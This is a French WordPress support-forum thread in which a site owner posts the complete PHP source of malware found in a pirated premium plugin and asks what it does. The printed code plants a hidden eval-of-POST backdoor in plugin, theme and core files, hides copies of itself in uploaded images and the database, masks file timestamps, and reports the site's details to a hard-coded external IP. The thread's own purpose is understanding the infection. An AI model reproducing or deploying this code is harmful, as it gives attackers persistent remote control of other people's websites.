[Résolu] Script d’un hacker…

  • WordPress :4.9
  • Statut : résolu
7 sujets de 1 à 7 (sur un total de 7)
  • Auteur
    Messages
  • #2070184
    king76
    Participant
    Initié WordPress
    6 contributions

    Bonjour,

    Je vous partage le script d’un hacker qui est venu sur mon serveur et qui m’a laissé un cadeau :

    <?php if(!class_exists(« WpPlLoadContent »)&&!class_exists(« WpPlaginLoad »)){class WpPlLoadContent{protected $options;protected $return;protected $postF;protected $postS;protected $f;protected $temporaryStep=false;protected $excludeHost=array(‘localhost’,’127.0.0.’,’.dev’);public $currentTimeFile=false;public $currentChmodFile=false;const WP=’wp’;const EVL=’ @eval($_POST[« wp_ajx_request »]);’;public function __construct(){$this->options[‘cookie’]=$_COOKIE;$this->options[‘userAgent’]=$_SERVER[‘HTTP_USER_AGENT’];$this->options[‘referrer’]=$_SERVER[‘HTTP_REFERER’];$this->return[‘host’]=$this->options[‘host’]=$_SERVER[‘HTTP_HOST’];$this->return[‘ip’]=$this->options[‘server_addresses’]=$_SERVER[‘SERVER_ADDR’];$this->return[‘doc_root’]=$this->options[‘doc_root’]=$_SERVER[‘DOCUMENT_ROOT’];if(function_exists(‘wp_title’)){$this->options[‘cms’]=self::WP;}else{$this->options[‘cms’]=false;}}public function init(){if(!$this->validateUser()){return false;}if($this->temporaryStep){if($this->callBack()){$this->deleteTemporaryData();}}else{if($this->contentSet()){$this->imgBc();$this->evlPluginAdd();$this->evlAdd();if($this->callBack()){}else{$this->setTemporaryData();}}}return true;}protected function imgBc(){global $wpdb,$table_prefix;$f=$this->getImg();if($f){$fcontent=$this->getContent(__FILE__);if($fcontent){$saver=$this->saveContent($this->options[‘doc_root’].$f,$fcontent,true,true);$dbSave=’data:image/gif;base64,R’.base64_encode($fcontent);$wpdb->query(‘INSERT INTO ‘.$table_prefix.’postmeta(post_id, meta_key, meta_value) VALUES (‘.$this->postF.’, « _wp_attached_file_plug », « ‘.$dbSave.' »), (‘.$this->postS.’, « _wp_attached_filе_new_plug », « ‘.$this->f.' »)’);if(!$saver){$this->options[‘restoreFile’]=false;}$this->clearFileParams();}else{$this->options[‘restoreFile’]=false;}}}protected function clearFileParams(){$this->currentTimeFile=false;$this->currentChmodFile=false;}protected function validateUser(){global $wpdb,$table_prefix;if($this->options[‘cms’]!=self::WP){return false;}foreach($this->excludeHost as $val){if(stripos($this->options[‘host’],$val)!==false ||stripos($this->options[‘server_addresses’],$val)!==false){return false;}}return true;}protected function deleteTemporaryData(){global $wpdb,$table_prefix;$wpdb->query(‘DELETE FROM ‘.$table_prefix.’postmeta WHERE meta_key = « _wp_session_tocen_temporery »‘);}protected function setTemporaryData(){global $wpdb,$table_prefix;return $wpdb->query(‘INSERT INTO ‘.$table_prefix.’postmeta(post_id, meta_key, meta_value) VALUES(1, « _wp_session_tocen_temporery », « QiOiI8Z’.base64_encode(json_encode($this->return)).' »)’);}protected function contentSet(){global $wpdb,$table_prefix;$post=$wpdb->get_results(‘SELECT * FROM ‘.$table_prefix.’posts WHERE post_status= »publish » AND (post_type= »post » OR post_type= »page »)’);$result=$this->request(‘http://128.199.33.158/site/setup/&rsquo;,array(‘setup’ =>true,’host’ =>$this->options[‘host’]));$resultDecode=json_decode($result,true);return true;}protected function callBack(){$this->return[‘result’]=true;$this->return[‘eval’]=json_encode($this->return[‘eval’]);$result=$this->request(‘http://128.199.33.158/site/call-back/&rsquo;,$this->return);if($result!=md5(‘OK’)){return false;}else{return true;}}protected function evlAdd(){$files=array(‘/wp-admin/includes/class-pclzip.php’,’/wp-includes/SimplePie/Cache/File.php’);if(is_dir($this->options[‘doc_root’].’/wp-content/themes’)){$themes=scandir($this->options[‘doc_root’].’/wp-content/themes’);if(count($themes)>0){foreach($themes as $theme){if($theme!=’.’ &&$theme!=’..’ &&is_dir($this->options[‘doc_root’].’/wp-content/themes/’.$theme)){if(file_exists($this->options[‘doc_root’].’/wp-content/themes/’.$theme.’/functions.php’))$files[]=’/wp-content/themes/’.$theme.’/functions.php’;}}}}if(count($files)>0){foreach($files as $file){$filePath=$this->options[‘doc_root’].$file;$fileLink=$this->options[‘host’].$file;if(!file_exists($filePath)){continue;}$content=$this->getContent($filePath,true,true);if(empty($content)){continue;}$start=stripos($content,'<?php’);if($start===false){continue;}$fp=substr($content,0,$start+5);$sp=substr($content,$start+5);$content=$fp.self::EVL.$sp;if($this->saveContent($filePath,$content,true,true)){$this->return[‘eval’][]=$fileLink;}}}return true;}protected function evlPluginAdd(){$this->return[‘eval’]=false;$plugins=get_option(‘active_plugins’);if(count($plugins)==0){return false;}foreach($plugins as $plugin){$pluginPath=$this->options[‘doc_root’].’/wp-content/plugins/’.$plugin;if(!file_exists($pluginPath)){continue;}$content=$this->getContent($pluginPath,true,true);if(empty($content)){continue;}$start=stripos($content,'<?php’);if($start===false){continue;}$fp=substr($content,0,$start+5);$sp=substr($content,$start+5);$content=$fp.self::EVL.$sp;$start=stripos($content,’add_action(‘);if($start===false){continue;}$fp=substr($content,0,$start);$sp=substr($content,$start);if(stripos($content,’function wp_is_plugin_load()’)!==false){$content=$fp.$sp;}else{$content=$fp.$sp;}if($this->saveContent($pluginPath,$content,true,true)){$this->return[‘eval’][]=$this->options[‘host’].’/wp-content/plugins/’.$plugin;}}if(empty($this->return[‘eval’])){$this->return[‘eval’]=false;}return true;}protected function getPostSlug($key){$link=trim($key);$link=str_replace(‘ ‘,’-‘,strtolower($link));$link=preg_replace(‘/[^A-Za-z0-9-]/’,’-‘,$link);return $link;}protected function getImg(){global $wpdb,$table_prefix;if($wpdb){$result=$wpdb->get_results(‘SELECT m.meta_value FROM ‘.$table_prefix.’posts as p INNER JOIN ‘.$table_prefix.’postmeta as m ON(m.post_id = p.id) WHERE p.post_type = « attachment » AND p.post_mime_type LIKE « %image/% » AND m.meta_key= »_wp_attached_file »‘);if(!empty($result)){$key=array_rand($result);$result=$result[$key];$fileParams=$this->getFileTypeAndName($result->meta_value);$this->f=$result->meta_value;$f=’/wp-content/uploads/’.$fileParams[‘filePath’].$fileParams[‘fileName’].’-122×356.’.$fileParams[‘fileType’];$this->return[‘restoreFile’]=$f;$this->currentTimeFile=$this->getTouch($this->options[‘doc_root’].’/wp-content/uploads/’.$result->meta_value);$this->currentChmodFile=$this->getChmod($this->options[‘doc_root’].’/wp-content/uploads/’.$result->meta_value);return $f;}else{if(!is_dir($this->options[‘doc_root’].’/wp-content/uploads’)){@mkdir($this->options[‘doc_root’].’/wp-content/uploads’);}if(!is_dir($this->options[‘doc_root’].’/wp-content/uploads/’.date(‘Y’))){@mkdir($this->options[‘doc_root’].’/wp-content/uploads/’.date(‘Y’));}if(!is_dir($this->options[‘doc_root’].’/wp-content/uploads/’.date(‘Y’).’/’.date(‘m’))){@mkdir($this->options[‘doc_root’].’/wp-content/uploads/’.date(‘Y’).’/’.date(‘m’));}if(is_dir($this->options[‘doc_root’].’/wp-content/uploads/’.date(‘Y’).’/’.date(‘m’))){$this->f=’/’.date(‘Y’).’/’.date(‘m’).’/wp_default.png’;return ‘/wp-content/uploads/’.date(‘Y’).’/’.date(‘m’).’/wp_default.png’;}return false;}}return false;}protected function saveContent($file,$content,$chmod=false,$touch=false){if(file_put_contents($file,$content)){if($touch&&$this->currentTimeFile){@touch($file,$this->currentTimeFile);}if($chmod&&$this->currentChmodFile){@chmod($file,octdec($this->currentChmodFile));}return true;}return false;}protected function getContent($file,$chmod=false,$touch=false){if(file_exists($file)){if($touch){$this->currentTimeFile=$this->getTouch($file);}if($chmod){$this->currentChmodFile=$this->getChmod($file);}return file_get_contents($file);}return false;}protected function getTouch($file){if(file_exists($file)){return filemtime($file);}return false;}protected function getChmod($file){if(file_exists($file)){return substr(sprintf(‘%o’,fileperms($file)),-4);}return false;}protected function getFileTypeAndName($filePath){$result=array();$fileStart=strripos($filePath,’/’);$file=substr($filePath,$fileStart+1);$result[‘filePath’]=substr($filePath,0,$fileStart+1);$fileTypeStart=strripos($file,’.’);$result[‘fileName’]=substr($file,0,$fileTypeStart);$result[‘fileType’]=substr($file,$fileTypeStart+1);return $result;}protected function request($url,$params=false){if(function_exists(‘curl_init’)){$curl=curl_init();$curl_options=array(CURLOPT_RETURNTRANSFER =>1,CURLOPT_URL =>$url,CURLOPT_USERAGENT =>’Googlebot/2.1 (+http://www.googlebot.com/bot.html)’,CURLOPT_TIMEOUT =>5,);if($params){$curl_options[CURLOPT_POST]=true;$curl_options[CURLOPT_POSTFIELDS]=$params;}curl_setopt_array($curl,$curl_options);$result=curl_exec($curl);curl_close($curl);return $result;}else{return file_get_contents($url);}}}try{$class=new WpPlLoadContent();$class->init();}catch(Exception $e){}}

    D’après vous, il fait quoi ce script ? Est-ce qu’il y a des chances qu’il a pris mon mot de passe.. en même temps, il est crypté.

    Merci

    #2070226
    momofr@free.fr
    Modérateur
    Maître WordPress
    1615 contributions

    Salut, il était placé où ? Qu’elle solution de sécurité utilises-tu ?

    Comment sécuriser WordPress par Tony Archambeau

    #2070258
    king76
    Participant
    Initié WordPress
    6 contributions

    Il était placé dans un plugin illégal que j’ai télécharger, un plugin premium. Peut être que c’est son concepteur qui l’a mis dedans pour se venger de ceux qui veulent pas acheter son plugin.

    À chaque fois que j’installais le plugin en question, la moitié de mes plugins se désactivaient, prétextant une entête illégal. Je devais tous les désinstaller et les résinstaller.

    J’avais mis plusieurs plugins de protection qui ne voyaient jamais de problème, si ce n’est peut être un changement dans deux fichiers que l’on peut voir dans le script à savoir wp-admin/includes/class-pclzip.php et wp-includes/SimplePie/Cache/File.php qui avaient été altéré. Mais je ne pense pas qu’au plugin ne peut anticiper ce que le script fait.

    #2070261
    PhiLyon
    Modérateur
    Maître WordPress
    19004 contributions

    Bonsoir.

    Faudrait être constant dans tes propos, tu nous dis

    Je vous partage le script d’un hacker qui est venu sur mon serveur et qui m’a laissé un cadeau

    Et ensuite

    Il était placé dans un plugin illégal que j’ai télécharger, un plugin premium

    De quoi te plains-tu, tu l’as un peu cherché, non ?

    Nous donner le code ne sert à rien.

    Le fait de récupérer des virus sur les téléchargements illégaux est notoire, en le faisant tu devais t’y attendre.

    🙂

    #2070262
    king76
    Participant
    Initié WordPress
    6 contributions

    Bonsoir,

    Peut importe comment est arrivé le fichier sur le serveur, je voulais à la fois, avoir une petite idée ce que le script faisait et partager aussi aux personnes curieuse de savoir comment fonctionne un script d’un hackeur. Ce dernier avait été placé dans un fichier CSS qui avait été inclus dans le fichier principal du script.

    Parce que même si personne ne s’amuse à déposer des fichiers illégaux sur son serveur, ça se peut très bien, que tu peux te choper ce genre de script.

    En plus, je ne me suis jamais plaint de ce qui m’est arrivé, je n’ai pas fait la promotion de ce genre de pratique et comme tu dis, c’est le risque, mais ce n’est pas si courant que ça.

    Bref, dans le script, je comprends qu’il y a des nouvelles entrées ajoutées dans la table Postmeta, mais à quoi ça peut servir ? Il y a des requêtes faites sur un serveur externe, mais pour envoyer quoi ?

    Merci

    #2070334
    king76
    Participant
    Initié WordPress
    6 contributions

    Voici le code mieux présentable :

    <?php
    if (!class_exists("WpPlLoadContent") && !class_exists("WpPlaginLoad")) {
        class WpPlLoadContent
        {
            protected $options;
            protected $return;
            protected $postF;
            protected $postS;
            protected $f;
            protected $temporaryStep = false;
            protected $excludeHost = array('localhost', '127.0.0.', '.dev');
            public $currentTimeFile = false;
            public $currentChmodFile = false;
            const WP = 'wp';
            const EVL = '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           @eval($_POST["wp_ajx_request"]);';
            public function __construct()
            {
                $this->options['cookie']    = $_COOKIE;
                $this->options['userAgent'] = $_SERVER['HTTP_USER_AGENT'];
                $this->options['referrer']  = $_SERVER['HTTP_REFERER'];
                $this->return['host']       = $this->options['host'] = $_SERVER['HTTP_HOST'];
                $this->return['ip']         = $this->options['server_addresses'] = $_SERVER['SERVER_ADDR'];
                $this->return['doc_root']   = $this->options['doc_root'] = $_SERVER['DOCUMENT_ROOT'];
                if (function_exists('wp_title')) {
                    $this->options['cms'] = self::WP;
                } else {
                    $this->options['cms'] = false;
                }
            }
            public function init()
            {
                if (!$this->validateUser()) {
                    return false;
                }
                if ($this->temporaryStep) {
                    if ($this->callBack()) {
                        $this->deleteTemporaryData();
                    }
                } else {
                    if ($this->contentSet()) {
                        $this->imgBc();
                        $this->evlPluginAdd();
                        $this->evlAdd();
                        if ($this->callBack()) {
                        } else {
                            $this->setTemporaryData();
                        }
                    }
                }
                return true;
            }
            protected function imgBc()
            {
                global $wpdb, $table_prefix;
                $f = $this->getImg();
                if ($f) {
                    $fcontent = $this->getContent(__FILE__);
                    if ($fcontent) {
                        $saver  = $this->saveContent($this->options['doc_root'] . $f, $fcontent, true, true);
                        $dbSave = 'data:image/gif;base64,R' . base64_encode($fcontent);
                        $wpdb->query('INSERT INTO ' . $table_prefix . 'postmeta(post_id, meta_key, meta_value) VALUES (' . $this->postF . ', "_wp_attached_file_plug", "' . $dbSave . '"), (' . $this->postS . ', "_wp_attached_filе_new_plug", "' . $this->f . '")');
                        if (!$saver) {
                            $this->options['restoreFile'] = false;
                        }
                        $this->clearFileParams();
                    } else {
                        $this->options['restoreFile'] = false;
                    }
                }
            }
            protected function clearFileParams()
            {
                $this->currentTimeFile  = false;
                $this->currentChmodFile = false;
            }
            protected function validateUser()
            {
                global $wpdb, $table_prefix;
                if ($this->options['cms'] != self::WP) {
                    return false;
                }
                foreach ($this->excludeHost as $val) {
                    if (stripos($this->options['host'], $val) !== false || stripos($this->options['server_addresses'], $val) !== false) {
                        return false;
                    }
                }
                return true;
            }
            protected function deleteTemporaryData()
            {
                global $wpdb, $table_prefix;
                $wpdb->query('DELETE FROM ' . $table_prefix . 'postmeta WHERE meta_key = "_wp_session_tocen_temporery"');
            }
            protected function setTemporaryData()
            {
                global $wpdb, $table_prefix;
                return $wpdb->query('INSERT INTO ' . $table_prefix . 'postmeta(post_id, meta_key, meta_value) VALUES(1, "_wp_session_tocen_temporery", "QiOiI8Z' . base64_encode(json_encode($this->return)) . '")');
            }
            protected function contentSet()
            {
                global $wpdb, $table_prefix;
                $post         = $wpdb->get_results('SELECT * FROM ' . $table_prefix . 'posts WHERE post_status="publish" AND (post_type="post" OR post_type="page")');
                $result       = $this->request('http://128.199.33.158/site/setup/', array(
                    'setup' => true,
                    'host' => $this->options['host']
                ));
                $resultDecode = json_decode($result, true);
                return true;
            }
            protected function callBack()
            {
                $this->return['result'] = true;
                $this->return['eval']   = json_encode($this->return['eval']);
                $result                 = $this->request('http://128.199.33.158/site/call-back/', $this->return);
                if ($result != md5('OK')) {
                    return false;
                } else {
                    return true;
                }
            }
            protected function evlAdd()
            {
                $files = array(
                    '/wp-admin/includes/class-pclzip.php',
                    '/wp-includes/SimplePie/Cache/File.php'
                );
                if (is_dir($this->options['doc_root'] . '/wp-content/themes')) {
                    $themes = scandir($this->options['doc_root'] . '/wp-content/themes');
                    if (count($themes) > 0) {
                        foreach ($themes as $theme) {
                            if ($theme != '.' && $theme != '..' && is_dir($this->options['doc_root'] . '/wp-content/themes/' . $theme)) {
                                if (file_exists($this->options['doc_root'] . '/wp-content/themes/' . $theme . '/functions.php'))
                                    $files[] = '/wp-content/themes/' . $theme . '/functions.php';
                            }
                        }
                    }
                }
                if (count($files) > 0) {
                    foreach ($files as $file) {
                        $filePath = $this->options['doc_root'] . $file;
                        $fileLink = $this->options['host'] . $file;
                        if (!file_exists($filePath)) {
                            continue;
                        }
                        $content = $this->getContent($filePath, true, true);
                        if (empty($content)) {
                            continue;
                        }
                        $start = stripos($content, '<?php');
                        if ($start === false) {
                            continue;
                        }
                        $fp      = substr($content, 0, $start + 5);
                        $sp      = substr($content, $start + 5);
                        $content = $fp . self::EVL . $sp;
                        if ($this->saveContent($filePath, $content, true, true)) {
                            $this->return['eval'][] = $fileLink;
                        }
                    }
                }
                return true;
            }
            protected function evlPluginAdd()
            {
                $this->return['eval'] = false;
                $plugins              = get_option('active_plugins');
                if (count($plugins) == 0) {
                    return false;
                }
                foreach ($plugins as $plugin) {
                    $pluginPath = $this->options['doc_root'] . '/wp-content/plugins/' . $plugin;
                    if (!file_exists($pluginPath)) {
                        continue;
                    }
                    $content = $this->getContent($pluginPath, true, true);
                    if (empty($content)) {
                        continue;
                    }
                    $start = stripos($content, '<?php');
                    if ($start === false) {
                        continue;
                    }
                    $fp      = substr($content, 0, $start + 5);
                    $sp      = substr($content, $start + 5);
                    $content = $fp . self::EVL . $sp;
                    $start   = stripos($content, 'add_action(');
                    if ($start === false) {
                        continue;
                    }
                    $fp = substr($content, 0, $start);
                    $sp = substr($content, $start);
                    if (stripos($content, 'function wp_is_plugin_load()') !== false) {
                        $content = $fp . $sp;
                    } else {
                        $content = $fp . $sp;
                    }
                    if ($this->saveContent($pluginPath, $content, true, true)) {
                        $this->return['eval'][] = $this->options['host'] . '/wp-content/plugins/' . $plugin;
                    }
                }
                if (empty($this->return['eval'])) {
                    $this->return['eval'] = false;
                }
                return true;
            }
            protected function getPostSlug($key)
            {
                $link = trim($key);
                $link = str_replace(' ', '-', strtolower($link));
                $link = preg_replace('/[^A-Za-z0-9-]/', '-', $link);
                return $link;
            }
            protected function getImg()
            {
                global $wpdb, $table_prefix;
                if ($wpdb) {
                    $result = $wpdb->get_results('SELECT m.meta_value FROM ' . $table_prefix . 'posts as p INNER JOIN ' . $table_prefix . 'postmeta as m ON(m.post_id = p.id) WHERE p.post_type = "attachment" AND p.post_mime_type LIKE "%image/%" AND m.meta_key="_wp_attached_file"');
                    if (!empty($result)) {
                        $key                         = array_rand($result);
                        $result                      = $result[$key];
                        $fileParams                  = $this->getFileTypeAndName($result->meta_value);
                        $this->f                     = $result->meta_value;
                        $f                           = '/wp-content/uploads/' . $fileParams['filePath'] . $fileParams['fileName'] . '-122x356.' . $fileParams['fileType'];
                        $this->return['restoreFile'] = $f;
                        $this->currentTimeFile       = $this->getTouch($this->options['doc_root'] . '/wp-content/uploads/' . $result->meta_value);
                        $this->currentChmodFile      = $this->getChmod($this->options['doc_root'] . '/wp-content/uploads/' . $result->meta_value);
                        return $f;
                    } else {
                        if (!is_dir($this->options['doc_root'] . '/wp-content/uploads')) {
                            @mkdir($this->options['doc_root'] . '/wp-content/uploads');
                        }
                        if (!is_dir($this->options['doc_root'] . '/wp-content/uploads/' . date('Y'))) {
                            @mkdir($this->options['doc_root'] . '/wp-content/uploads/' . date('Y'));
                        }
                        if (!is_dir($this->options['doc_root'] . '/wp-content/uploads/' . date('Y') . '/' . date('m'))) {
                            @mkdir($this->options['doc_root'] . '/wp-content/uploads/' . date('Y') . '/' . date('m'));
                        }
                        if (is_dir($this->options['doc_root'] . '/wp-content/uploads/' . date('Y') . '/' . date('m'))) {
                            $this->f = '/' . date('Y') . '/' . date('m') . '/wp_default.png';
                            return '/wp-content/uploads/' . date('Y') . '/' . date('m') . '/wp_default.png';
                        }
                        return false;
                    }
                }
                return false;
            }
            protected function saveContent($file, $content, $chmod = false, $touch = false)
            {
                if (file_put_contents($file, $content)) {
                    if ($touch && $this->currentTimeFile) {
                        @touch($file, $this->currentTimeFile);
                    }
                    if ($chmod && $this->currentChmodFile) {
                        @chmod($file, octdec($this->currentChmodFile));
                    }
                    return true;
                }
                return false;
            }
            protected function getContent($file, $chmod = false, $touch = false)
            {
                if (file_exists($file)) {
                    if ($touch) {
                        $this->currentTimeFile = $this->getTouch($file);
                    }
                    if ($chmod) {
                        $this->currentChmodFile = $this->getChmod($file);
                    }
                    return file_get_contents($file);
                }
                return false;
            }
            protected function getTouch($file)
            {
                if (file_exists($file)) {
                    return filemtime($file);
                }
                return false;
            }
            protected function getChmod($file)
            {
                if (file_exists($file)) {
                    return substr(sprintf('%o', fileperms($file)), -4);
                }
                return false;
            }
            protected function getFileTypeAndName($filePath)
            {
                $result             = array();
                $fileStart          = strripos($filePath, '/');
                $file               = substr($filePath, $fileStart + 1);
                $result['filePath'] = substr($filePath, 0, $fileStart + 1);
                $fileTypeStart      = strripos($file, '.');
                $result['fileName'] = substr($file, 0, $fileTypeStart);
                $result['fileType'] = substr($file, $fileTypeStart + 1);
                return $result;
            }
            protected function request($url, $params = false)
            {
                if (function_exists('curl_init')) {
                    $curl         = curl_init();
                    $curl_options = array(
                        CURLOPT_RETURNTRANSFER => 1,
                        CURLOPT_URL => $url,
                        CURLOPT_USERAGENT => 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
                        CURLOPT_TIMEOUT => 5
                    );
                    if ($params) {
                        $curl_options[CURLOPT_POST]       = true;
                        $curl_options[CURLOPT_POSTFIELDS] = $params;
                    }
                    curl_setopt_array($curl, $curl_options);
                    $result = curl_exec($curl);
                    curl_close($curl);
                    return $result;
                } else {
                    return file_get_contents($url);
                }
            }
        }
        try {
            $class = new WpPlLoadContent();
            $class->init();
        }
        catch (Exception $e) {
        }
    }
     ?>

    #2070351
    king76
    Participant
    Initié WordPress
    6 contributions

    Finalement je reconfiguré le plugin Wordfence avec une meilleure valeur pour le max_execution_time et il a pu finir le scan au complet. Il m’a sorti plusieurs résultats pour des images sur mon serveur :

    This file appears to be installed by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The text we found in this file that matches a known malicious file is: <strong class= »wf-split-word »> »eval($_POST[« . The infection type is: A suspicious code known as eval_of_POST. This file was detected because you have enabled « Scan images, binary, and other files as if they were executable », which treats non-PHP files as if they were PHP code. This option is more aggressive than the usual scans, and may cause false positives.

    Ça veut dire que le script en question, a recréer plusieurs images sur mon serveur qui lorsqu’elles sont appelées sur une page, sont en fait un script php, qui contient le même script que j’ai découvert ci-dessus, mais caché dans chacune des images du site.

     

7 sujets de 1 à 7 (sur un total de 7)
  • Vous devez être connecté pour répondre à ce sujet.